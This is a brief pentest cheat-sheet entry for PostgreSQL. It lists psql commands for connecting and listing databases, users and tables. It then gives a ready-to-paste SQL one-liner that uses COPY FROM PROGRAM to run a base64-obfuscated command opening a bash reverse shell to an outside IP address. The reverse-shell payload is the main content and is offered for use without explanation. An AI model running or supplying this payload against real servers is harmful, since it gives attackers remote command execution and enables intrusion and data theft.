PostgreSQL (5432)

psql -h $IP -U $user -d $db

list databases: \l dbs

list users: \du $db users

list tables: \dt $db tables

Reverse Shell

DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDkuMTU5LzgwIDA+JjEK | base64 -d | bash'; SELECT * FROM cmd_exec; DROP TABLE IF EXISTS cmd_exec;